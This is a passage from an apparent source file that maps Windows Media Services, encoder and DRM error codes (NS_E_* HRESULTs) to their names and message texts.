supported.\"),\n        0xC00D145D: (\"NS_E_WRONG_OS_VERSION\", \"Windows Media Services will only run on Windows Server 2003, Standard Edition and Windows Server 2003, Enterprise Edition.\"),\n        0xC00D145E: (\"NS_E_PUBLISHING_POINT_STOPPED\", \"The operation cannot be completed because the publishing point has been stopped.\"),\n        0xC00D14B4: (\"NS_E_PLAYLIST_ENTRY_ALREADY_PLAYING\", \"The playlist entry is already playing.\"),\n        0xC00D14B5: (\"NS_E_EMPTY_PLAYLIST\", \"The playlist or directory you are requesting does not contain content.\"),\n        0xC00D14B6: (\"NS_E_PLAYLIST_PARSE_FAILURE\", \"The server was unable to parse the requested playlist file.\"),\n        0xC00D14B7: (\"NS_E_PLAYLIST_UNSUPPORTED_ENTRY\", \"The requested operation is not supported for this type of playlist entry.\"),\n        0xC00D14B8: (\"NS_E_PLAYLIST_ENTRY_NOT_IN_PLAYLIST\", \"Cannot jump to a playlist entry that is not inserted in the playlist.\"),\n        0xC00D14B9: (\"NS_E_PLAYLIST_ENTRY_SEEK\", \"Cannot seek to the desired playlist entry.\"),\n        0xC00D14BA: (\"NS_E_PLAYLIST_RECURSIVE_PLAYLISTS\", \"Cannot play recursive playlist.\"),\n        0xC00D14BB: (\"NS_E_PLAYLIST_TOO_MANY_NESTED_PLAYLISTS\", \"The number of nested playlists exceeded the limit the server can handle.\"),\n        0xC00D14BC: (\"NS_E_PLAYLIST_SHUTDOWN\", \"Cannot execute the requested operation because the playlist has been shut down by the Media Server.\"),\n        0xC00D14BD: (\"NS_E_PLAYLIST_END_RECEDING\", \"The playlist has ended while receding.\"),\n        0xC00D1518: (\"NS_E_DATAPATH_NO_SINK\", \"The data path does not have an associated data writer plug-in.\"),\n        0xC00D151A: (\"NS_E_INVALID_PUSH_TEMPLATE\", \"The specified push template is invalid.\"),\n        0xC00D151B: (\"NS_E_INVALID_PUSH_PUBLISHING_POINT\", \"The specified push publishing point is invalid.\"),\n        0xC00D151C: (\"NS_E_CRITICAL_ERROR\", \"The requested operation cannot be performed because the server or publishing point is in a critical error state.\"),\n        0xC00D151D: (\"NS_E_NO_NEW_CONNECTIONS\", \"The content cannot be played because the server is not currently accepting connections. Try connecting at a later time.\"),\n        0xC00D151E: (\"NS_E_WSX_INVALID_VERSION\", \"The version of this playlist is not supported by the server.\"),\n        0xC00D151F: (\"NS_E_HEADER_MISMATCH\", \"The command does not apply to the current media header user by a server component.\"),\n        0xC00D1520: (\"NS_E_PUSH_DUPLICATE_PUBLISHING_POINT_NAME\", \"The specified publishing point name is already in use.\"),\n        0xC00D157C: (\"NS_E_NO_SCRIPT_ENGINE\", \"There is no script engine available for this file.\"),\n        0xC00D157D: (\"NS_E_PLUGIN_ERROR_REPORTED\", \"The plug-in has reported an error. See the Troubleshooting tab or the NT Application Event Log for details.\"),\n        0xC00D157E: (\"NS_E_SOURCE_PLUGIN_NOT_FOUND\", \"No enabled data source plug-in is available to access the requested content.\"),\n        0xC00D157F: (\"NS_E_PLAYLIST_PLUGIN_NOT_FOUND\", \"No enabled playlist parser plug-in is available to access the requested content.\"),\n        0xC00D1580: (\"NS_E_DATA_SOURCE_ENUMERATION_NOT_SUPPORTED\", \"The data source plug-in does not support enumeration.\"),\n        0xC00D1581: (\"NS_E_MEDIA_PARSER_INVALID_FORMAT\", \"The server cannot stream the selected file because it is either damaged or corrupt. Select a different file.\"),\n        0xC00D1582: (\"NS_E_SCRIPT_DEBUGGER_NOT_INSTALLED\", \"The plug-in cannot be enabled because a compatible script debugger is not installed on this system. Install a script debugger, or disable the script debugger option on the general tab of the plug-in's properties page and try again.\"),\n        0xC00D1583: (\"NS_E_FEATURE_REQUIRES_ENTERPRISE_SERVER\", \"The plug-in cannot be loaded because it requires Windows Server 2003, Enterprise Edition.\"),\n        0xC00D1584: (\"NS_E_WIZARD_RUNNING\", \"Another wizard is currently running. Please close the other wizard or wait until it finishes before attempting to run this wizard again.\"),\n        0xC00D1585: (\"NS_E_INVALID_LOG_URL\", \"Invalid log URL. Multicast logging URL must look like \\\"http://servername/isapibackend.dll\\\".\"),\n        0xC00D1586: (\"NS_E_INVALID_MTU_RANGE\", \"Invalid MTU specified. The valid range for maximum packet size is between 36 and 65507 bytes.\"),\n        0xC00D1587: (\"NS_E_INVALID_PLAY_STATISTICS\", \"Invalid play statistics for logging.\"),\n        0xC00D1588: (\"NS_E_LOG_NEED_TO_BE_SKIPPED\", \"The log needs to be skipped.\"),\n        0xC00D1589: (\"NS_E_HTTP_TEXT_DATACONTAINER_SIZE_LIMIT_EXCEEDED\", \"The size of the data exceeded the limit the WMS HTTP Download Data Source plugin can handle.\"),\n        0xC00D158A: (\"NS_E_PORT_IN_USE\", \"One usage of each socket address (protocol/network address/port) is permitted. Verify that other services or applications are not attempting to use the same port and then try to enable the plug-in again.\"),\n        0xC00D158B: (\"NS_E_PORT_IN_USE_HTTP\", \"One usage of each socket address (protocol/network address/port) is permitted. Verify that other services (such as IIS) or applications are not attempting to use the same port and then try to enable the plug-in again.\"),\n        0xC00D158C: (\"NS_E_HTTP_TEXT_DATACONTAINER_INVALID_SERVER_RESPONSE\", \"The WMS HTTP Download Data Source plugin was unable to receive the remote server's response.\"),\n        0xC00D158D: (\"NS_E_ARCHIVE_REACH_QUOTA\", \"The archive plug-in has reached its quota.\"),\n        0xC00D158E: (\"NS_E_ARCHIVE_ABORT_DUE_TO_BCAST\", \"The archive plug-in aborted because the source was from broadcast.\"),\n        0xC00D158F: (\"NS_E_ARCHIVE_GAP_DETECTED\", \"The archive plug-in detected an interrupt in the source.\"),\n        0xC00D1590: (\"NS_E_AUTHORIZATION_FILE_NOT_FOUND\", \"The system cannot find the file specified.\"),\n        0xC00D1B58: (\"NS_E_BAD_MARKIN\", \"The mark-in time should be greater than 0 and less than the mark-out time.\"),\n        0xC00D1B59: (\"NS_E_BAD_MARKOUT\", \"The mark-out time should be greater than the mark-in time and less than the file duration.\"),\n        0xC00D1B5A: (\"NS_E_NOMATCHING_MEDIASOURCE\", \"No matching media type is found in the source %1.\"),\n        0xC00D1B5B: (\"NS_E_UNSUPPORTED_SOURCETYPE\", \"The specified source type is not supported.\"),\n        0xC00D1B5C: (\"NS_E_TOO_MANY_AUDIO\", \"It is not possible to specify more than one audio input.\"),\n        0xC00D1B5D: (\"NS_E_TOO_MANY_VIDEO\", \"It is not possible to specify more than two video inputs.\"),\n        0xC00D1B5E: (\"NS_E_NOMATCHING_ELEMENT\", \"No matching element is found in the list.\"),\n        0xC00D1B5F: (\"NS_E_MISMATCHED_MEDIACONTENT\", \"The profile's media types must match the media types defined for the session.\"),\n        0xC00D1B60: (\"NS_E_CANNOT_DELETE_ACTIVE_SOURCEGROUP\", \"It is not possible to remove an active source while encoding.\"),\n        0xC00D1B61: (\"NS_E_AUDIODEVICE_BUSY\", \"It is not possible to open the specified audio capture device because it is currently in use.\"),\n        0xC00D1B62: (\"NS_E_AUDIODEVICE_UNEXPECTED\", \"It is not possible to open the specified audio capture device because an unexpected error has occurred.\"),\n        0xC00D1B63: (\"NS_E_AUDIODEVICE_BADFORMAT\", \"The audio capture device does not support the specified audio format.\"),\n        0xC00D1B64: (\"NS_E_VIDEODEVICE_BUSY\", \"It is not possible to open the specified video capture device because it is currently in use.\"),\n        0xC00D1B65: (\"NS_E_VIDEODEVICE_UNEXPECTED\", \"It is not possible to open the specified video capture device because an unexpected error has occurred.\"),\n        0xC00D1B66: (\"NS_E_INVALIDCALL_WHILE_ENCODER_RUNNING\", \"This operation is not allowed while encoding.\"),\n        0xC00D1B67: (\"NS_E_NO_PROFILE_IN_SOURCEGROUP\", \"No profile is set for the source.\"),\n        0xC00D1B68: (\"NS_E_VIDEODRIVER_UNSTABLE\", \"The video capture driver returned an unrecoverable error. It is now in an unstable state.\"),\n        0xC00D1B69: (\"NS_E_VIDCAPSTARTFAILED\", \"It was not possible to start the video device.\"),\n        0xC00D1B6A: (\"NS_E_VIDSOURCECOMPRESSION\", \"The video source does not support the requested output format or color depth.\"),\n        0xC00D1B6B: (\"NS_E_VIDSOURCESIZE\", \"The video source does not support the requested capture size.\"),\n        0xC00D1B6C: (\"NS_E_ICMQUERYFORMAT\", \"It was not possible to obtain output information from the video compressor.\"),\n        0xC00D1B6D: (\"NS_E_VIDCAPCREATEWINDOW\", \"It was not possible to create a video capture window.\"),\n        0xC00D1B6E: (\"NS_E_VIDCAPDRVINUSE\", \"There is already a stream active on this video device.\"),\n        0xC00D1B6F: (\"NS_E_NO_MEDIAFORMAT_IN_SOURCE\", \"No media format is set in source.\"),\n        0xC00D1B70: (\"NS_E_NO_VALID_OUTPUT_STREAM\", \"Cannot find a valid output stream from the source.\"),\n        0xC00D1B71: (\"NS_E_NO_VALID_SOURCE_PLUGIN\", \"It was not possible to find a valid source plug-in for the specified source.\"),\n        0xC00D1B72: (\"NS_E_NO_ACTIVE_SOURCEGROUP\", \"No source is currently active.\"),\n        0xC00D1B73: (\"NS_E_NO_SCRIPT_STREAM\", \"No script stream is set in the current source.\"),\n        0xC00D1B74: (\"NS_E_INVALIDCALL_WHILE_ARCHIVAL_RUNNING\", \"This operation is not allowed while archiving.\"),\n        0xC00D1B75: (\"NS_E_INVALIDPACKETSIZE\", \"The setting for the maximum packet size is not valid.\"),\n        0xC00D1B76: (\"NS_E_PLUGIN_CLSID_INVALID\", \"The plug-in CLSID specified is not valid.\"),\n        0xC00D1B77: (\"NS_E_UNSUPPORTED_ARCHIVETYPE\", \"This archive type is not supported.\"),\n        0xC00D1B78: (\"NS_E_UNSUPPORTED_ARCHIVEOPERATION\", \"This archive operation is not supported.\"),\n        0xC00D1B79: (\"NS_E_ARCHIVE_FILENAME_NOTSET\", \"The local archive file name was not set.\"),\n        0xC00D1B7A: (\"NS_E_SOURCEGROUP_NOTPREPARED\", \"The source is not yet prepared.\"),\n        0xC00D1B7B: (\"NS_E_PROFILE_MISMATCH\", \"Profiles on the sources do not match.\"),\n        0xC00D1B7C: (\"NS_E_INCORRECTCLIPSETTINGS\", \"The specified crop values are not valid.\"),\n        0xC00D1B7D: (\"NS_E_NOSTATSAVAILABLE\", \"No statistics are available at this time.\"),\n        0xC00D1B7E: (\"NS_E_NOTARCHIVING\", \"The encoder is not archiving.\"),\n        0xC00D1B7F: (\"NS_E_INVALIDCALL_WHILE_ENCODER_STOPPED\", \"This operation is only allowed during encoding.\"),\n        0xC00D1B80: (\"NS_E_NOSOURCEGROUPS\", \"This SourceGroupCollection doesn't contain any SourceGroups.\"),\n        0xC00D1B81: (\"NS_E_INVALIDINPUTFPS\", \"This source does not have a frame rate of 30 fps. Therefore, it is not possible to apply the inverse telecine filter to the source.\"),\n        0xC00D1B82: (\"NS_E_NO_DATAVIEW_SUPPORT\", \"It is not possible to display your source or output video in the Video panel.\"),\n        0xC00D1B83: (\"NS_E_CODEC_UNAVAILABLE\", \"One or more codecs required to open this content could not be found.\"),\n        0xC00D1B84: (\"NS_E_ARCHIVE_SAME_AS_INPUT\", \"The archive file has the same name as an input file. Change one of the names before continuing.\"),\n        0xC00D1B85: (\"NS_E_SOURCE_NOTSPECIFIED\", \"The source has not been set up completely.\"),\n        0xC00D1B86: (\"NS_E_NO_REALTIME_TIMECOMPRESSION\", \"It is not possible to apply time compression to a broadcast session.\"),\n        0xC00D1B87: (\"NS_E_UNSUPPORTED_ENCODER_DEVICE\", \"It is not possible to open this device.\"),\n        0xC00D1B88: (\"NS_E_UNEXPECTED_DISPLAY_SETTINGS\", \"It is not possible to start encoding because the display size or color has changed since the current session was defined. Restore the previous settings or create a new session.\"),\n        0xC00D1B89: (\"NS_E_NO_AUDIODATA\", \"No audio data has been received for several seconds. Check the audio source and restart the encoder.\"),\n        0xC00D1B8A: (\"NS_E_INPUTSOURCE_PROBLEM\", \"One or all of the specified sources are not working properly. Check that the sources are configured correctly.\"),\n        0xC00D1B8B: (\"NS_E_WME_VERSION_MISMATCH\", \"The supplied configuration file is not supported by this version of the encoder.\"),\n        0xC00D1B8C: (\"NS_E_NO_REALTIME_PREPROCESS\", \"It is not possible to use image preprocessing with live encoding.\"),\n        0xC00D1B8D: (\"NS_E_NO_REPEAT_PREPROCESS\", \"It is not possible to use two-pass encoding when the source is set to loop.\"),\n        0xC00D1B8E: (\"NS_E_CANNOT_PAUSE_LIVEBROADCAST\", \"It is not possible to pause encoding during a broadcast.\"),\n        0xC00D1B8F: (\"NS_E_DRM_PROFILE_NOT_SET\", \"A DRM profile has not been set for the current session.\"),\n        0xC00D1B90: (\"NS_E_DUPLICATE_DRMPROFILE\", \"The profile ID is already used by a DRM profile. Specify a different profile ID.\"),\n        0xC00D1B91: (\"NS_E_INVALID_DEVICE\", \"The setting of the selected device does not support control for playing back tapes.\"),\n        0xC00D1B92: (\"NS_E_SPEECHEDL_ON_NON_MIXEDMODE\", \"You must specify a mixed voice and audio mode in order to use an optimization definition file.\"),\n        0xC00D1B93: (\"NS_E_DRM_PASSWORD_TOO_LONG\", \"The specified password is too long. Type a password with fewer than 8 characters.\"),\n        0xC00D1B94: (\"NS_E_DEVCONTROL_FAILED_SEEK\", \"It is not possible to seek to the specified mark-in point.\"),\n        0xC00D1B95: (\"NS_E_INTERLACE_REQUIRE_SAMESIZE\", \"When you choose to maintain the interlacing in your video, the output video size must match the input video size.\"),\n        0xC00D1B96: (\"NS_E_TOO_MANY_DEVICECONTROL\", \"Only one device control plug-in can control a device.\"),\n        0xC00D1B97: (\"NS_E_NO_MULTIPASS_FOR_LIVEDEVICE\", \"You must also enable storing content to hard disk temporarily in order to use two-pass encoding with the input device.\"),\n        0xC00D1B98: (\"NS_E_MISSING_AUDIENCE\", \"An audience is missing from the output stream configuration.\"),\n        0xC00D1B99: (\"NS_E_AUDIENCE_CONTENTTYPE_MISMATCH\", \"All audiences in the output tree must have the same content type.\"),\n        0xC00D1B9A: (\"NS_E_MISSING_SOURCE_INDEX\", \"A source index is missing from the output stream configuration.\"),\n        0xC00D1B9B: (\"NS_E_NUM_LANGUAGE_MISMATCH\", \"The same source index in different audiences should have the same number of languages.\"),\n        0xC00D1B9C: (\"NS_E_LANGUAGE_MISMATCH\", \"The same source index in different audiences should have the same languages.\"),\n        0xC00D1B9D: (\"NS_E_VBRMODE_MISMATCH\", \"The same source index in different audiences should use the same VBR encoding mode.\"),\n        0xC00D1B9E: (\"NS_E_INVALID_INPUT_AUDIENCE_INDEX\", \"The bit rate index specified is not valid.\"),\n        0xC00D1B9F: (\"NS_E_INVALID_INPUT_LANGUAGE\", \"The specified language is not valid.\"),\n        0xC00D1BA0: (\"NS_E_INVALID_INPUT_STREAM\", \"The specified source type is not valid.\"),\n        0xC00D1BA1: (\"NS_E_EXPECT_MONO_WAV_INPUT\", \"The source must be a mono channel .wav file.\"),\n        0xC00D1BA2: (\"NS_E_INPUT_WAVFORMAT_MISMATCH\", \"All the source .wav files must have the same format.\"),\n        0xC00D1BA3: (\"NS_E_RECORDQ_DISK_FULL\", \"The hard disk being used for temporary storage of content has reached the minimum allowed disk space. Create more space on the hard disk and restart encoding.\"),\n        0xC00D1BA4: (\"NS_E_NO_PAL_INVERSE_TELECINE\", \"It is not possible to apply the inverse telecine feature to PAL content.\"),\n        0xC00D1BA5: (\"NS_E_ACTIVE_SG_DEVICE_DISCONNECTED\", \"A capture device in the current active source is no longer available.\"),\n        0xC00D1BA6: (\"NS_E_ACTIVE_SG_DEVICE_CONTROL_DISCONNECTED\", \"A device used in the current active source for device control is no longer available.\"),\n        0xC00D1BA7: (\"NS_E_NO_FRAMES_SUBMITTED_TO_ANALYZER\", \"No frames have been submitted to the analyzer for analysis.\"),\n        0xC00D1BA8: (\"NS_E_INPUT_DOESNOT_SUPPORT_SMPTE\", \"The source video does not support time codes.\"),\n        0xC00D1BA9: (\"NS_E_NO_SMPTE_WITH_MULTIPLE_SOURCEGROUPS\", \"It is not possible to generate a time code when there are multiple sources in a session.\"),\n        0xC00D1BAA: (\"NS_E_BAD_CONTENTEDL\", \"The voice codec optimization definition file cannot be found or is corrupted.\"),\n        0xC00D1BAB: (\"NS_E_INTERLACEMODE_MISMATCH\", \"The same source index in different audiences should have the same interlace mode.\"),\n        0xC00D1BAC: (\"NS_E_NONSQUAREPIXELMODE_MISMATCH\", \"The same source index in different audiences should have the same nonsquare pixel mode.\"),\n        0xC00D1BAD: (\"NS_E_SMPTEMODE_MISMATCH\", \"The same source index in different audiences should have the same time code mode.\"),\n        0xC00D1BAE: (\"NS_E_END_OF_TAPE\", \"Either the end of the tape has been reached or there is no tape. Check the device and tape.\"),\n        0xC00D1BAF: (\"NS_E_NO_MEDIA_IN_AUDIENCE\", \"No audio or video input has been specified.\"),\n        0xC00D1BB0: (\"NS_E_NO_AUDIENCES\", \"The profile must contain a bit rate.\"),\n        0xC00D1BB1: (\"NS_E_NO_AUDIO_COMPAT\", \"You must specify at least one audio stream to be compatible with Windows Media Player 7.1.\"),\n        0xC00D1BB2: (\"NS_E_INVALID_VBR_COMPAT\", \"Using a VBR encoding mode is not compatible with Windows Media Player 7.1.\"),\n        0xC00D1BB3: (\"NS_E_NO_PROFILE_NAME\", \"You must specify a profile name.\"),\n        0xC00D1BB4: (\"NS_E_INVALID_VBR_WITH_UNCOMP\", \"It is not possible to use a VBR encoding mode with uncompressed audio or video.\"),\n        0xC00D1BB5: (\"NS_E_MULTIPLE_VBR_AUDIENCES\", \"It is not possible to use MBR encoding with VBR encoding.\"),\n        0xC00D1BB6: (\"NS_E_UNCOMP_COMP_COMBINATION\", \"It is not possible to mix uncompressed and compressed content in a session.\"),\n        0xC00D1BB7: (\"NS_E_MULTIPLE_AUDIO_CODECS\", \"All audiences must use the same audio codec.\"),\n        0xC00D1BB8: (\"NS_E_MULTIPLE_AUDIO_FORMATS\", \"All audiences should use the same audio format to be compatible with Windows Media Player 7.1.\"),\n        0xC00D1BB9: (\"NS_E_AUDIO_BITRATE_STEPDOWN\", \"The audio bit rate for an audience with a higher total bit rate must be greater than one with a lower total bit rate.\"),\n        0xC00D1BBA: (\"NS_E_INVALID_AUDIO_PEAKRATE\", \"The audio peak bit rate setting is not valid.\"),\n        0xC00D1BBB: (\"NS_E_INVALID_AUDIO_PEAKRATE_2\", \"The audio peak bit rate setting must be greater than the audio bit rate setting.\"),\n        0xC00D1BBC: (\"NS_E_INVALID_AUDIO_BUFFERMAX\", \"The setting for the maximum buffer size for audio is not valid.\"),\n        0xC00D1BBD: (\"NS_E_MULTIPLE_VIDEO_CODECS\", \"All audiences must use the same video codec.\"),\n        0xC00D1BBE: (\"NS_E_MULTIPLE_VIDEO_SIZES\", \"All audiences should use the same video size to be compatible with Windows Media Player 7.1.\"),\n        0xC00D1BBF: (\"NS_E_INVALID_VIDEO_BITRATE\", \"The video bit rate setting is not valid.\"),\n        0xC00D1BC0: (\"NS_E_VIDEO_BITRATE_STEPDOWN\", \"The video bit rate for an audience with a higher total bit rate must be greater than one with a lower total bit rate.\"),\n        0xC00D1BC1: (\"NS_E_INVALID_VIDEO_PEAKRATE\", \"The video peak bit rate setting is not valid.\"),\n        0xC00D1BC2: (\"NS_E_INVALID_VIDEO_PEAKRATE_2\", \"The video peak bit rate setting must be greater than the video bit rate setting.\"),\n        0xC00D1BC3: (\"NS_E_INVALID_VIDEO_WIDTH\", \"The video width setting is not valid.\"),\n        0xC00D1BC4: (\"NS_E_INVALID_VIDEO_HEIGHT\", \"The video height setting is not valid.\"),\n        0xC00D1BC5: (\"NS_E_INVALID_VIDEO_FPS\", \"The video frame rate setting is not valid.\"),\n        0xC00D1BC6: (\"NS_E_INVALID_VIDEO_KEYFRAME\", \"The video key frame setting is not valid.\"),\n        0xC00D1BC7: (\"NS_E_INVALID_VIDEO_IQUALITY\", \"The video image quality setting is not valid.\"),\n        0xC00D1BC8: (\"NS_E_INVALID_VIDEO_CQUALITY\", \"The video codec quality setting is not valid.\"),\n        0xC00D1BC9: (\"NS_E_INVALID_VIDEO_BUFFER\", \"The video buffer setting is not valid.\"),\n        0xC00D1BCA: (\"NS_E_INVALID_VIDEO_BUFFERMAX\", \"The setting for the maximum buffer size for video is not valid.\"),\n        0xC00D1BCB: (\"NS_E_INVALID_VIDEO_BUFFERMAX_2\", \"The value of the video maximum buffer size setting must be greater than the video buffer size setting.\"),\n        0xC00D1BCC: (\"NS_E_INVALID_VIDEO_WIDTH_ALIGN\", \"The alignment of the video width is not valid.\"),\n        0xC00D1BCD: (\"NS_E_INVALID_VIDEO_HEIGHT_ALIGN\", \"The alignment of the video height is not valid.\"),\n        0xC00D1BCE: (\"NS_E_MULTIPLE_SCRIPT_BITRATES\", \"All bit rates must have the same script bit rate.\"),\n        0xC00D1BCF: (\"NS_E_INVALID_SCRIPT_BITRATE\", \"The script bit rate specified is not valid.\"),\n        0xC00D1BD0: (\"NS_E_MULTIPLE_FILE_BITRATES\", \"All bit rates must have the same file transfer bit rate.\"),\n        0xC00D1BD1: (\"NS_E_INVALID_FILE_BITRATE\", \"The file transfer bit rate is not valid.\"),\n        0xC00D1BD2: (\"NS_E_SAME_AS_INPUT_COMBINATION\", \"All audiences in a profile should either be same as input or have video width and height specified.\"),\n        0xC00D1BD3: (\"NS_E_SOURCE_CANNOT_LOOP\", \"This source type does not support looping.\"),\n        0xC00D1BD4: (\"NS_E_INVALID_FOLDDOWN_COEFFICIENTS\", \"The fold-down value needs to be between -144 and 0.\"),\n        0xC00D1BD5: (\"NS_E_DRMPROFILE_NOTFOUND\", \"The specified DRM profile does not exist in the system.\"),\n        0xC00D1BD6: (\"NS_E_INVALID_TIMECODE\", \"The specified time code is not valid.\"),\n        0xC00D1BD7: (\"NS_E_NO_AUDIO_TIMECOMPRESSION\", \"It is not possible to apply time compression to a video-only session.\"),\n        0xC00D1BD8: (\"NS_E_NO_TWOPASS_TIMECOMPRESSION\", \"It is not possible to apply time compression to a session that is using two-pass encoding.\"),\n        0xC00D1BD9: (\"NS_E_TIMECODE_REQUIRES_VIDEOSTREAM\", \"It is not possible to generate a time code for an audio-only session.\"),\n        0xC00D1BDA: (\"NS_E_NO_MBR_WITH_TIMECODE\", \"It is not possible to generate a time code when you are encoding content at multiple bit rates.\"),\n        0xC00D1BDB: (\"NS_E_INVALID_INTERLACEMODE\", \"The video codec selected does not support maintaining interlacing in video.\"),\n        0xC00D1BDC: (\"NS_E_INVALID_INTERLACE_COMPAT\", \"Maintaining interlacing in video is not compatible with Windows Media Player 7.1.\"),\n        0xC00D1BDD: (\"NS_E_INVALID_NONSQUAREPIXEL_COMPAT\", \"Allowing nonsquare pixel output is not compatible with Windows Media Player 7.1.\"),\n        0xC00D1BDE: (\"NS_E_INVALID_SOURCE_WITH_DEVICE_CONTROL\", \"Only capture devices can be used with device control.\"),\n        0xC00D1BDF: (\"NS_E_CANNOT_GENERATE_BROADCAST_INFO_FOR_QUALITYVBR\", \"It is not possible to generate the stream format file if you are using quality-based VBR encoding for the audio or video stream. Instead use the Windows Media file generated after encoding to create the announcement file.\"),\n        0xC00D1BE0: (\"NS_E_EXCEED_MAX_DRM_PROFILE_LIMIT\", \"It is not possible to create a DRM profile because the maximum number of profiles has been reached. You must delete some DRM profiles before creating new ones.\"),\n        0xC00D1BE1: (\"NS_E_DEVICECONTROL_UNSTABLE\", \"The device is in an unstable state. Check that the device is functioning properly and a tape is in place.\"),\n        0xC00D1BE2: (\"NS_E_INVALID_PIXEL_ASPECT_RATIO\", \"The pixel aspect ratio value must be between 1 and 255.\"),\n        0xC00D1BE3: (\"NS_E_AUDIENCE__LANGUAGE_CONTENTTYPE_MISMATCH\", \"All streams with different languages in the same audience must have same properties.\"),\n        0xC00D1BE4: (\"NS_E_INVALID_PROFILE_CONTENTTYPE\", \"The profile must contain at least one audio or video stream.\"),\n        0xC00D1BE5: (\"NS_E_TRANSFORM_PLUGIN_NOT_FOUND\", \"The transform plug-in could not be found.\"),\n        0xC00D1BE6: (\"NS_E_TRANSFORM_PLUGIN_INVALID\", \"The transform plug-in is not valid. It may be damaged or you may not have the required permissions to access the plug-in.\"),\n        0xC00D1BE7: (\"NS_E_EDL_REQUIRED_FOR_DEVICE_MULTIPASS\", \"To use two-pass encoding, you must enable device control and setup an edit decision list (EDL) that has at least one entry.\"),\n        0xC00D1BE8: (\"NS_E_INVALID_VIDEO_WIDTH_FOR_INTERLACED_ENCODING\", \"When you choose to maintain the interlacing in your video, the output video size must be a multiple of 4.\"),\n        0xC00D1BE9: (\"NS_E_MARKIN_UNSUPPORTED\", \"Markin/Markout is unsupported with this source type.\"),\n        0xC00D2711: (\"NS_E_DRM_INVALID_APPLICATION\", \"A problem has occurred in the Digital Rights Management component. Contact product support for this application.\"),\n        0xC00D2712: (\"NS_E_DRM_LICENSE_STORE_ERROR\", \"License storage is not working. Contact Microsoft product support.\"),\n        0xC00D2713: (\"NS_E_DRM_SECURE_STORE_ERROR\", \"Secure storage is not working. Contact Microsoft product support.\"),\n        0xC00D2714: (\"NS_E_DRM_LICENSE_STORE_SAVE_ERROR\", \"License acquisition did not work. Acquire a new license or contact the content provider for further assistance.\"),\n        0xC00D2715: (\"NS_E_DRM_SECURE_STORE_UNLOCK_ERROR\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2716: (\"NS_E_DRM_INVALID_CONTENT\", \"The media file is corrupted. Contact the content provider to get a new file.\"),\n        0xC00D2717: (\"NS_E_DRM_UNABLE_TO_OPEN_LICENSE\", \"The license is corrupted. Acquire a new license.\"),\n        0xC00D2718: (\"NS_E_DRM_INVALID_LICENSE\", \"The license is corrupted or invalid. Acquire a new license\"),\n        0xC00D2719: (\"NS_E_DRM_INVALID_MACHINE\", \"Licenses cannot be copied from one computer to another. Use License Management to transfer licenses, or get a new license for the media file.\"),\n        0xC00D271B: (\"NS_E_DRM_ENUM_LICENSE_FAILED\", \"License storage is not working. Contact Microsoft product support.\"),\n        0xC00D271C: (\"NS_E_DRM_INVALID_LICENSE_REQUEST\", \"The media file is corrupted. Contact the content provider to get a new file.\"),\n        0xC00D271D: (\"NS_E_DRM_UNABLE_TO_INITIALIZE\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D271E: (\"NS_E_DRM_UNABLE_TO_ACQUIRE_LICENSE\", \"The license could not be acquired. Try again later.\"),\n        0xC00D271F: (\"NS_E_DRM_INVALID_LICENSE_ACQUIRED\", \"License acquisition did not work. Acquire a new license or contact the content provider for further assistance.\"),\n        0xC00D2720: (\"NS_E_DRM_NO_RIGHTS\", \"The requested operation cannot be performed on this file.\"),\n        0xC00D2721: (\"NS_E_DRM_KEY_ERROR\", \"The requested action cannot be performed because a problem occurred with the Windows Media Digital Rights Management (DRM) components on your computer.\"),\n        0xC00D2722: (\"NS_E_DRM_ENCRYPT_ERROR\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2723: (\"NS_E_DRM_DECRYPT_ERROR\", \"The media file is corrupted. Contact the content provider to get a new file.\"),\n        0xC00D2725: (\"NS_E_DRM_LICENSE_INVALID_XML\", \"The license is corrupted. Acquire a new license.\"),\n        0xC00D2728: (\"NS_E_DRM_NEEDS_INDIVIDUALIZATION\", \"A security upgrade is required to perform the operation on this media file.\"),\n        0xC00D2729: (\"NS_E_DRM_ALREADY_INDIVIDUALIZED\", \"You already have the latest security components. No upgrade is necessary at this time.\"),\n        0xC00D272A: (\"NS_E_DRM_ACTION_NOT_QUERIED\", \"The application cannot perform this action. Contact product support for this application.\"),\n        0xC00D272B: (\"NS_E_DRM_ACQUIRING_LICENSE\", \"You cannot begin a new license acquisition process until the current one has been completed.\"),\n        0xC00D272C: (\"NS_E_DRM_INDIVIDUALIZING\", \"You cannot begin a new security upgrade until the current one has been completed.\"),\n        0xC00D272D: (\"NS_E_BACKUP_RESTORE_FAILURE\", \"Failure in Backup-Restore.\"),\n        0xC00D272E: (\"NS_E_BACKUP_RESTORE_BAD_REQUEST_ID\", \"Bad Request ID in Backup-Restore.\"),\n        0xC00D272F: (\"NS_E_DRM_PARAMETERS_MISMATCHED\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2730: (\"NS_E_DRM_UNABLE_TO_CREATE_LICENSE_OBJECT\", \"A license cannot be created for this media file. Reinstall the application.\"),\n        0xC00D2731: (\"NS_E_DRM_UNABLE_TO_CREATE_INDI_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2732: (\"NS_E_DRM_UNABLE_TO_CREATE_ENCRYPT_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2733: (\"NS_E_DRM_UNABLE_TO_CREATE_DECRYPT_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2734: (\"NS_E_DRM_UNABLE_TO_CREATE_PROPERTIES_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2735: (\"NS_E_DRM_UNABLE_TO_CREATE_BACKUP_OBJECT\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D2736: (\"NS_E_DRM_INDIVIDUALIZE_ERROR\", \"The security upgrade failed. Try again later.\"),\n        0xC00D2737: (\"NS_E_DRM_LICENSE_OPEN_ERROR\", \"License storage is not working. Contact Microsoft product support.\"),\n        0xC00D2738: (\"NS_E_DRM_LICENSE_CLOSE_ERROR\", \"License storage is not working. Contact Microsoft product support.\"),\n        0xC00D2739: (\"NS_E_DRM_GET_LICENSE_ERROR\", \"License storage is not working. Contact Microsoft product support.\"),\n        0xC00D273A: (\"NS_E_DRM_QUERY_ERROR\", \"A problem has occurred in the Digital Rights Management component. Contact Microsoft product support.\"),\n        0xC00D273B: 